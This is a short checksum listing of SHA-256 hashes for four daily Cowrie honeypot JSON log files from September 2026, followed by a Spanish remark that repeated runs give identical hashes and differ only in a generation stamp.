744cd33acc0622305fcec3c9656cd0d8337f0c067c8174101a18e4049fff38aa  cowrie.json.2026-09-07
2ad505c6f8bb7645025ae6dfce6f123d352e46ef7bb80c47b03c6c6e5a942faf  cowrie.json.2026-09-08
5a0f583be0ccc1f477fd9a9aed426f0c7b08de4fdad9d00cee95ba68baddb5b4  cowrie.json.2026-09-09
d45406c366979bc0538a877755c5ae79f9ce5b2e85a6195726d99c75f12c03f0  cowrie.json.2026-09-10

Con el mismo respaldo y la misma herramienta, las cifras salen iguales: lo único que cambia entre dos ejecuciones es la marca de generación de arriba.